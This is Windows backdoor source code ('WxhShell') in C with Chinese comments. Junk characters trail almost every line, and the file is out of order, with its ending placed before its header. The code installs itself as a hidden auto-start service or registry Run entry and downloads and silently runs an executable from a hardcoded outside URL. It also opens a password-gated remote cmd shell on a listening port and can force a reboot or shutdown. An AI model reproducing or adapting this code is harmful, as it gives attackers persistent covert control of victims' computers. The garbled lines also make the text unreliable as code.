    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qM= $,s*  
    else { a9]F.Jm  
    closesocket(wsh); (k/[/`3ST  
    ExitThread(0); qWX%[i%  
    } `G7LM55  
    break; E[q:65xl  
    } $;7,T~{  
  // 获取shell J<hqF4z  
  case 's': { Sk7l&B  
    CmdShell(wsh); uq?((  
    closesocket(wsh); & \tD$g~"  
    ExitThread(0); yvR3|  
    break; ^{Wx\+*!  
  } &CBW>*B  
  // 退出 jB) RvvMU5  
  case 'x': { c=d` DJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mV!Ia-k  
    CloseIt(wsh); )gF>nNE  
    break; DBTeV-G9~R  
    } UU\wP(f  
  // 离开 *rKj%Me  
  case 'q': { >-8r|};+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D)shWJRlvW  
    closesocket(wsh); <[.{aj]QV  
    WSACleanup(); 6sceymq  
    exit(1); *^[m?3"W  
    break; m\*;Fx  
        } E>LZw>^Y J  
  } 7x> \/l(  
  } Z4ekBdmCL  
{7d(B1[1  
  // 提示信息 ]bcAbCZ@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +az=EF  
} <TN+-)H6  
  } #su R[K*S  
I{nrOb1G(  
  return; IKo,P$ PE  
} OQnb^fabY  
>o/+z18x  
// shell模块句柄 bi{G :xt  
int CmdShell(SOCKET sock) gn-@OmIs  
{ ]g] ]\hS  
STARTUPINFO si; P~}Yj@2  
ZeroMemory(&si,sizeof(si)); fEJF3<UF&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E;1QD/E$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P>U7RX e  
PROCESS_INFORMATION ProcessInfo; q"LE6?hs  
char cmdline[]="cmd"; _a]0<Vm C0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "!S7D >2y#  
  return 0; ,vDSY N6  
} hQb3 8W[  
x@*RF:\}  
// 自身启动模式 F_I.=zQr  
int StartFromService(void) l=&\luNz  
{ QZwZ4$jkiO  
typedef struct sq rY<@%  
{ [iXkv\  
  DWORD ExitStatus; f7_V ]  
  DWORD PebBaseAddress; *-eDU T|O  
  DWORD AffinityMask; A)9F_;BY  
  DWORD BasePriority; >PS`;S!(  
  ULONG UniqueProcessId; 'w"hG$".  
  ULONG InheritedFromUniqueProcessId; jp+s[rRc\{  
}   PROCESS_BASIC_INFORMATION; gmUX 2x(  
w~AW( VX  
PROCNTQSIP NtQueryInformationProcess; @ JfQ}`  
d_1uv_P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d-{1>\-_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dy.U;  
^aI$97Li  
  HANDLE             hProcess; aY8QYK ;?^  
  PROCESS_BASIC_INFORMATION pbi; ET0^_yk  
' e:rL.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GZ1c~uAu  
  if(NULL == hInst ) return 0; /B!Ik:c}  
fR&x5Ika0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YZy%]i=1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nN%Zed2O@6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 06]%$ -j  
T+j-MR}{\  
  if (!NtQueryInformationProcess) return 0; (DQ ]58&  
!NO)|N>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /0YO`])"  
  if(!hProcess) return 0; X:JU#sI  
y=&^=Z h[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7-Mm+4O9  
888"X3.T  
  CloseHandle(hProcess); %7A?gY81  
+>QD4z#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E_H.!pr  
if(hProcess==NULL) return 0; ('6sW/F*ab  
Hto+spW  
HMODULE hMod; 2*@@Bw.XA  
char procName[255]; x31Jl{x8\?  
unsigned long cbNeeded; f {j`d&|  
P?|>, \t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;m~%57.;\  
/s Bs eI  
  CloseHandle(hProcess); b[^|.>b  
&hnKBr(Lw  
if(strstr(procName,"services")) return 1; // 以服务启动 h\/T b8  
i#I7ncX  
  return 0; // 注册表启动 ~j yl  
} *6wt+twH  
,.i)(Or  
// 主模块 -r%k)4_  
int StartWxhshell(LPSTR lpCmdLine) @a}\]REn  
{ (/jZ &4T  
  SOCKET wsl; lpnPd{kE  
BOOL val=TRUE; _ q^JjR  
  int port=0; FvVM}l'  
  struct sockaddr_in door; y eWB.M~X  
T:g=P@  
  if(wscfg.ws_autoins) Install(); s >7(S%#N  
6Ao{Aej|  
port=atoi(lpCmdLine); -"5r-qq*  
b,lIndj#  
if(port<=0) port=wscfg.ws_port; v5 I}a7  
k3UKGP1  
  WSADATA data; Gg3< }(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o{OY1 ;=6  
; mwU>l,4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~IQw?a.E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :xZ^Jq91  
  door.sin_family = AF_INET; P vW~EJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lj 2OOU{  
  door.sin_port = htons(port); '5}@# Mi  
W$`p ,$.n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sh;>6xB  
closesocket(wsl); RP%7M8V){B  
return 1; c52S2f7  
} O[^u<*fi{  
x%%OgO +>  
  if(listen(wsl,2) == INVALID_SOCKET) { h`pXUnEZ  
closesocket(wsl); ~JTp8E9kw  
return 1; CDT3&N1'R  
} 2!";?E  
  Wxhshell(wsl); wg=-&-  
  WSACleanup(); Z?)=4|  
qx`)M3Mu|<  
return 0; i7foZ\btFc  
Ax'o|RE)x  
} -P-&]F5  
h5}:>yc  
// 以NT服务方式启动 jn+BH3e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &'oZ]}^ 0  
{ rf YFS96  
DWORD   status = 0; qORRpWyx&  
  DWORD   specificError = 0xfffffff; xMHu:,ND  
3oMhsQz~z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UOcO\EA+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ( !0fmL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [6f(3|"  
  serviceStatus.dwWin32ExitCode     = 0; #pr{tL  
  serviceStatus.dwServiceSpecificExitCode = 0; E @7);i5K  
  serviceStatus.dwCheckPoint       = 0; &z?:s  
  serviceStatus.dwWaitHint       = 0; i2 G.<(3O  
`R,g_{M j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;lc/FV[/  
  if (hServiceStatusHandle==0) return; >6 A8+=  
TcOmBKps'  
status = GetLastError(); LW*v/`@  
  if (status!=NO_ERROR) XY!0yAK(!  
{ o((!3H{ D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;Miag'7  
    serviceStatus.dwCheckPoint       = 0; -;j ' =?  
    serviceStatus.dwWaitHint       = 0; i2X%xYv ^  
    serviceStatus.dwWin32ExitCode     = status; L'r gCOJ<  
    serviceStatus.dwServiceSpecificExitCode = specificError; :4/37R(~l8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @3Gr2/a  
    return; PAS0 D #  
  } ayr CLv  
dT'd C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <CGABlZ  
  serviceStatus.dwCheckPoint       = 0;  |: ,i  
  serviceStatus.dwWaitHint       = 0; 4^_'LiX3[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Eh&-b6:  
} $u%7]]Y^\  
qaiR329fx  
// 处理NT服务事件,比如:启动、停止 Z~v-@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {8T/;K@  
{ xP-\)d-.aN  
switch(fdwControl) 4~~G i`XE  
{ EGxCNB  
case SERVICE_CONTROL_STOP: CqR^w(  
  serviceStatus.dwWin32ExitCode = 0; odh cU5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nd,2EX<bE  
  serviceStatus.dwCheckPoint   = 0; >!W H%J  
  serviceStatus.dwWaitHint     = 0; /q5!p0fH*  
  { 8 t`lRWJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ff5 e]^,  
  } C9^C4   
  return; 1"f)\FPGe  
case SERVICE_CONTROL_PAUSE: |syvtS{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GD0Q`gWNe  
  break; $[V-M\q  
case SERVICE_CONTROL_CONTINUE: =XFyEt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )8%m|v#W  
  break; 0+Z?9$a1  
case SERVICE_CONTROL_INTERROGATE: ne 8rF.D  
  break; <op|yh3Jkk  
}; WB5M ![  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $7*@TMX  
} }6!m Q  
LG;U?:\  
// 标准应用程序主函数 p|Qn?^C:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YK>?;U+|  
{ Xx1eSX  
Ud)2Mq1#M  
// 获取操作系统版本 cs?IzIQ  
OsIsNt=GetOsVer(); N#GMvU#R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /kAbGjp0  
<Yn-sH  
  // 从命令行安装 4 }NCdGD  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q!{,^Qb  
v(;n|=O  
  // 下载执行文件 y wmC>`0p  
if(wscfg.ws_downexe) { LAY~hF"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C$(US8:{  
  WinExec(wscfg.ws_filenam,SW_HIDE); ztTj2M"  
} m_zl*s*6  
U>w#`Sy[  
if(!OsIsNt) { }(A`aB_  
// 如果时win9x,隐藏进程并且设置为注册表启动 T$%r?p(s  
HideProc(); 3}(6z"r  
StartWxhshell(lpCmdLine); C]414Ibi  
} !TvNT}4Z  
else _8A  
  if(StartFromService()) 45. -P  
  // 以服务方式启动 rR]U Ff  
  StartServiceCtrlDispatcher(DispatchTable); %c"PMTq(  
else "BT*9N=|  
  // 普通方式启动 WfpQ   
  StartWxhshell(lpCmdLine); q;Tdqv!Ju  
:dq.@:+<R  
return 0; SQ8xfD*  
} d-c<dS+R  
})W9=xO~  
`NYu|:JK:  
?+av9;Kg  
=========================================== ~hD!{([  
X)oxNxZ[A  
^Ej$o@PH  
]H| O  
yN[aBYJx,M  
cq]JD6937  
" V%h,JA  
$B%wK`J  
#include <stdio.h> (xpt_]Q!H  
#include <string.h> fF6bEJl3  
#include <windows.h> 6$CwH!42F  
#include <winsock2.h> DW( /[jo\  
#include <winsvc.h> fi%)520  
#include <urlmon.h> YI+ clh;%9  
M~%P1@%  
#pragma comment (lib, "Ws2_32.lib") #($~e|  
#pragma comment (lib, "urlmon.lib") '8J!(+  
F m?j-'  
#define MAX_USER   100 // 最大客户端连接数 yFoPCA86y  
#define BUF_SOCK   200 // sock buffer Fn>KdoByN  
#define KEY_BUFF   255 // 输入 buffer IiU\}<O  
;w/@_!~  
#define REBOOT     0   // 重启 ~c,CngeL0  
#define SHUTDOWN   1   // 关机 WwsH7X)  
vB74r]'F  
#define DEF_PORT   5000 // 监听端口 X)e#=w!fi3  
P~ : N  
#define REG_LEN     16   // 注册表键长度 RW{y.WhB  
#define SVC_LEN     80   // NT服务名长度 p{ Xde   
IR2=dQS  
// 从dll定义API hrNB"W|?x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NSawD.9mV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {V,aCr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gY'-C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |v:oLgUdH  
lArKfs/   
// wxhshell配置信息 Gv[s86AP,  
struct WSCFG { SR$ 'JGfp  
  int ws_port;         // 监听端口 SZ29B  
  char ws_passstr[REG_LEN]; // 口令 Brts ig,4  
  int ws_autoins;       // 安装标记, 1=yes 0=no X+1Mv  
  char ws_regname[REG_LEN]; // 注册表键名 Vwu dNjL  
  char ws_svcname[REG_LEN]; // 服务名 @(bg#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iYZn`OAx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yk y% +@2q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {E; bT|3z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &szYa-K*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ptz## o'{5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^Q6?T(%$  
wn^#`s!]U  
}; E!'6v DVC:  
OlB9z  
// default Wxhshell configuration br^ A<@,d  
struct WSCFG wscfg={DEF_PORT, lE gjv,  
    "xuhuanlingzhe", T|8:_4/l  
    1, c]h@<wnv  
    "Wxhshell", j7U&a}(  
    "Wxhshell", ?&'Kw>s@  
            "WxhShell Service", X%)~i[_DV  
    "Wrsky Windows CmdShell Service", Gx %=&O  
    "Please Input Your Password: ", eT Fep^[  
  1, )X;051Q  
  "http://www.wrsky.com/wxhshell.exe", /oW]? 9  
  "Wxhshell.exe" 76bMy4re  
    }; xP_/5N=f  
/vq$/  
// 消息定义模块 &<x.D]FA]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J/fnSy  
char *msg_ws_prompt="\n\r? for help\n\r#>";  IMr#5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,f{w@Er  
char *msg_ws_ext="\n\rExit."; Th$Z9+()  
char *msg_ws_end="\n\rQuit."; >+Ig<}p  
char *msg_ws_boot="\n\rReboot..."; =\_gT=tZ  
char *msg_ws_poff="\n\rShutdown..."; aZ$5"  
char *msg_ws_down="\n\rSave to "; 4(s HUWT  
Q^ZM|(s#  
char *msg_ws_err="\n\rErr!"; e'>q( B  
char *msg_ws_ok="\n\rOK!"; 7UY4* j|[C  
=6qTz3t  
char ExeFile[MAX_PATH]; DI8<0.L  
int nUser = 0; e@qH!.g)  
HANDLE handles[MAX_USER]; 2,dWD<h  
int OsIsNt; ;1[Z&Uv8  
g0bYO!gC r  
SERVICE_STATUS       serviceStatus; ax>j3HKi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yhYF "~CM  
^ZO! (  
// 函数声明 f+Acs*. GQ  
int Install(void); $%q=tn'EX  
int Uninstall(void); ;:j1FOj  
int DownloadFile(char *sURL, SOCKET wsh); JLnv O  
int Boot(int flag); A$r$g\5+  
void HideProc(void); );':aX j  
int GetOsVer(void); 2?GMKd)  
int Wxhshell(SOCKET wsl); 0W}qp?  
void TalkWithClient(void *cs); t+}w Tis  
int CmdShell(SOCKET sock); GE(~d '  
int StartFromService(void); -1Dq_!i  
int StartWxhshell(LPSTR lpCmdLine); B Z|A&;  
Fu_I0z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -z~!%4 a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <|4$T H^ t  
EC;>-s  
// 数据结构和表定义 E Izy  
SERVICE_TABLE_ENTRY DispatchTable[] = Inv`C,$7Q#  
{ i-Rn,}v  
{wscfg.ws_svcname, NTServiceMain}, _yv#v_Z  
{NULL, NULL} @2/|rq  
}; >P SO]%mE  
#M16qOEw  
// 自我安装 UMR?q0J  
int Install(void) Z;Hkx1  
{ d]] z )  
  char svExeFile[MAX_PATH]; PQkw)D<n]_  
  HKEY key; R,G*]/r`  
  strcpy(svExeFile,ExeFile); NC%hsg^0/  
Y@0'0   
// 如果是win9x系统,修改注册表设为自启动 ZrTB%  
if(!OsIsNt) {  ~2"hh$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )Xjn:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3NtUB;!  
  RegCloseKey(key); \~l_w ,Poo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Sp80xV_B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bi:lC5d5?  
  RegCloseKey(key); kun/KY  
  return 0; z}ar$}T  
    } Kd`(^  
  } +gX,r$bX  
} $] We|  
else { |nZ^RCHog  
985F(r  
// 如果是NT以上系统,安装为系统服务 sQa;l]O:NC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WFOJg&  
if (schSCManager!=0) ;>v.(0FE6  
{ Q v9q~l  
  SC_HANDLE schService = CreateService q@ -B+  
  ( U=.PL\  
  schSCManager, '`P%;/z  
  wscfg.ws_svcname, B$_4 ul\)  
  wscfg.ws_svcdisp, G%erh}0~  
  SERVICE_ALL_ACCESS, R+M=)Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0SIC=p=J  
  SERVICE_AUTO_START, 8%7%[WC#  
  SERVICE_ERROR_NORMAL, !CGX\cvW  
  svExeFile, W`;;fJe  
  NULL, 6h;(b2p{  
  NULL, y|5s  
  NULL, I}4 PB+yu  
  NULL, |h]V9=  
  NULL exb} y  
  ); LTWkHy x  
  if (schService!=0) :\OSHs<M  
  { jSY[Y:6md  
  CloseServiceHandle(schService); _!03;zrO  
  CloseServiceHandle(schSCManager); /t0L%jJZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4XN \p  
  strcat(svExeFile,wscfg.ws_svcname); 0\dmp'j]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /f3/}x!po  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^[?y 2A:  
  RegCloseKey(key); ED&nrd1P  
  return 0; 4[gmA  
    } l00i2w  
  } y(COB6r  
  CloseServiceHandle(schSCManager); .@VZ3"  
} pDR~SxBXr  
} 3V k8'  
*2/Jg'de  
return 1; F9r.DG$}  
} ],]Rv#`  
@nktD.  
// 自我卸载 hFIh<m=C?Y  
int Uninstall(void) B.8B1MFm  
{ S<nF>JRJa  
  HKEY key; .vu7$~7  
n7!T{+ge  
if(!OsIsNt) { yYCS-rF>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8}'iEj^e  
  RegDeleteValue(key,wscfg.ws_regname); i KSRr#/  
  RegCloseKey(key); c!Hz'W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LqWiw24#  
  RegDeleteValue(key,wscfg.ws_regname); t#NPbLZ  
  RegCloseKey(key); 0+>g/ >  
  return 0; h"`\'(,X  
  } kF|$oBQ  
} HWjJ.;k}a  
} Wmbc `XC  
else { _^<vp  
"hyfo,r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AwJg/VBo)  
if (schSCManager!=0) )M8d\]  
{ ?{J1&;j*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !:+U-mb*  
  if (schService!=0) /$; Z ~^P  
  { 5U?O1}P  
  if(DeleteService(schService)!=0) { db )2>  
  CloseServiceHandle(schService); Pp?P9s {  
  CloseServiceHandle(schSCManager); ]j&m\'-s  
  return 0; x?Sx cQP  
  } nDrRK  
  CloseServiceHandle(schService); ?'V78N sA  
  } eXl?f_9  
  CloseServiceHandle(schSCManager); !.R-|<2|6  
} @[^ 3y C#  
} ^A ]4  
OS[ s Qo5  
return 1; DFr$2Y3H  
} /E6)>y66  
=9&2udV1  
// 从指定url下载文件 %<yW(s9{  
int DownloadFile(char *sURL, SOCKET wsh) >\JP X  
{ ?c.\\2>|F  
  HRESULT hr; }w f8y  
char seps[]= "/"; dz#"9i5b  
char *token;  *RY}e  
char *file; N<#J!0w  
char myURL[MAX_PATH]; IQBL;=.J.  
char myFILE[MAX_PATH]; >Iij,J5i  
H [+'>Id:  
strcpy(myURL,sURL); {JWixbA  
  token=strtok(myURL,seps); u/tJ])~@  
  while(token!=NULL) P~(&lu/;P  
  { 6Emn@Mn=  
    file=token; n[/D>Pi  
  token=strtok(NULL,seps); (0`rfYv5.R  
  } B~o3Z  
$Y/z+ea  
GetCurrentDirectory(MAX_PATH,myFILE); 1=]#=)+  
strcat(myFILE, "\\"); yc0 1\o  
strcat(myFILE, file); HtN: v  
  send(wsh,myFILE,strlen(myFILE),0); 8h ol4'B  
send(wsh,"...",3,0); 7:~3B-Tb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T:j41`g%s  
  if(hr==S_OK) 9Zx| L/\  
return 0; p&}m')  
else E.#JCO|(1  
return 1; &'\-M6GW  
pTAm}  
} qLBQ!>lR  
(ht"wY#T<(  
// 系统电源模块 jhT/}"v  
int Boot(int flag) %4VM"C4[  
{ ^cd bM  
  HANDLE hToken; %m|BXyf]_B  
  TOKEN_PRIVILEGES tkp; P'}EZ'  
i{g~u<DH)Q  
  if(OsIsNt) { F, =WfM\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 25G~rklk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "dG*HKrr  
    tkp.PrivilegeCount = 1; :CM2kh"Iu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m[ S1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c7rC!v  
if(flag==REBOOT) { k]4CN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jcePSps]  
  return 0; y]Q/(O  
} HELTL$j,b  
else { p E1uD4lLb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /0L]Pf;  
  return 0; 45+kwo0  
} Y(JZP\Tf_N  
  } 'fb&3  
  else { j%!xb><  
if(flag==REBOOT) { NR^Z#BU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  @C'qbO{  
  return 0; %z1hXh#+  
} `=TJw,q  
else { 4YMUkwh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <SRSJJR|(  
  return 0; 17rg!'+   
} Y Odwd}M  
} T.!.3B$@]  
`C:J{`  
return 1; K>+c2;t;  
} <XpG5vV  
'kCr1t  
// win9x进程隐藏模块 P; =,Q$e8  
void HideProc(void) Yu%ZwTvw  
{ e58tf3  
_t7aOH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L{1PCs36c  
  if ( hKernel != NULL ) X{5(i3?S  
  { 9&4z4@on  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9(9\kQj{C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xirZ.wjW  
    FreeLibrary(hKernel); yzCamm4~0  
  } l;JB;0<s"  
_`]YWvh  
return; k5Df9 7\s  
} ,3ivB8  
]+78 "(  
// 获取操作系统版本 gM#]o QOGE  
int GetOsVer(void) <yE d'Z  
{ #F >R5 D  
  OSVERSIONINFO winfo; )mXu{uowr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8<g9 ~L  
  GetVersionEx(&winfo); xCiq;FFR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &qFy$`"  
  return 1; RS[QZOoW}  
  else 7pz #%Hf  
  return 0; (f t$ R?  
} e/!xyd  
u"1Zv!  
// 客户端句柄模块 ER$qL"H U  
int Wxhshell(SOCKET wsl) vZt48g  
{ -Fs<{^E3j  
  SOCKET wsh; t2q{;d~.  
  struct sockaddr_in client; +(| ,Ke  
  DWORD myID; 0)-yLfTn  
3,-xk!W$L  
  while(nUser<MAX_USER) },G5!3  
{ sM'%apM#  
  int nSize=sizeof(client); ;V\l, u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ":N E I  
  if(wsh==INVALID_SOCKET) return 1; s:\FlQ0  
loFApBD=$^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nhPua&  
if(handles[nUser]==0) W~FM^xR?p  
  closesocket(wsh); CQm(N  
else zU,Qph ,<  
  nUser++; ^8eu+E.{  
  } i_6 Y6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o79EDPX  
W #kOcw  
  return 0; a6i%7Om  
} gG6j>%y  
f/NfvLi(AU  
// 关闭 socket *Z,?VEO  
void CloseIt(SOCKET wsh) ^9*kZV<K  
{ y)e8pPDG  
closesocket(wsh); P4S]bPIp  
nUser--; L1J~D?q  
ExitThread(0); Ga1(T$ |H  
} Q,m1mIf  
nL@(|nJ[  
// 客户端请求句柄 HJeZm  
void TalkWithClient(void *cs) a08`h.dyN  
{ Q&A^(z}  
"MNI_C#{  
  SOCKET wsh=(SOCKET)cs; )D"E]  
  char pwd[SVC_LEN]; yTb#V"eR  
  char cmd[KEY_BUFF]; qlgo#[i  
char chr[1]; yz7X7mAo  
int i,j; 14 Toi  
L6=`x a,  
  while (nUser < MAX_USER) { $vK(Qm  
70BLd(?  
if(wscfg.ws_passstr) { /l&$B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $zUHka   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6z keWR  
  //ZeroMemory(pwd,KEY_BUFF); ;bhD:$NB X  
      i=0; 9`X}G`  
  while(i<SVC_LEN) { g#/"3P2 H  
' V#$PZx  
  // 设置超时 +9!=pRq  
  fd_set FdRead; JRYCM}C]  
  struct timeval TimeOut; e"O c  
  FD_ZERO(&FdRead); O-jpS?@  
  FD_SET(wsh,&FdRead); a*(,ydF|L  
  TimeOut.tv_sec=8; me@xl }  
  TimeOut.tv_usec=0; ^ 9`O ^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V|W[>/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vnS;T+NZSC  
1@S(v L3a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O.Xhi+  
  pwd=chr[0]; >#Ue`)d`aY  
  if(chr[0]==0xd || chr[0]==0xa) { w1J%%//(h  
  pwd=0; =Y`e?\#`  
  break; I92orr1  
  } *P0sl( &  
  i++; vg;9"A!(  
    } 3 =-XA2zJ  
6O0CF}B*  
  // 如果是非法用户,关闭 socket \;bDDTM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }LTyXo  
} 3K{G=WE$  
:F`-<x/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &r0U9J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f)#rBAkt  
bJ5 VlK67R  
while(1) {  O3~7  
X(M|T]`b:  
  ZeroMemory(cmd,KEY_BUFF); XkRPD  
6O\a\z  
      // 自动支持客户端 telnet标准   o/4U`U)Q0v  
  j=0; 7Q>bJ Ek7  
  while(j<KEY_BUFF) { Ce`#J6lT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *w5xC5*  
  cmd[j]=chr[0]; A(6n- zL  
  if(chr[0]==0xa || chr[0]==0xd) { 2C[xrZa^  
  cmd[j]=0; hy wy(b3  
  break; V_"UiN"o  
  } /ht-]Js$G  
  j++; >e M> Y@8=  
    } 0f9*=c  
JrNqS[c/  
  // 下载文件 9:JQ*O$  
  if(strstr(cmd,"http://")) { PQvpJFpb~h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W'"p:Uh q  
  if(DownloadFile(cmd,wsh)) `BzjDI:a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m TgsvC  
  else w{89@ XRC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /vNHb _-  
  } cH6<'W{*  
  else { +nz 0ZQ9 a  
p-f"4vH  
    switch(cmd[0]) { bwyj[:6l  
  WY$c^av<  
  // 帮助 %4^NX@1jV  
  case '?': {  RxO !h8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #u/5 nm  
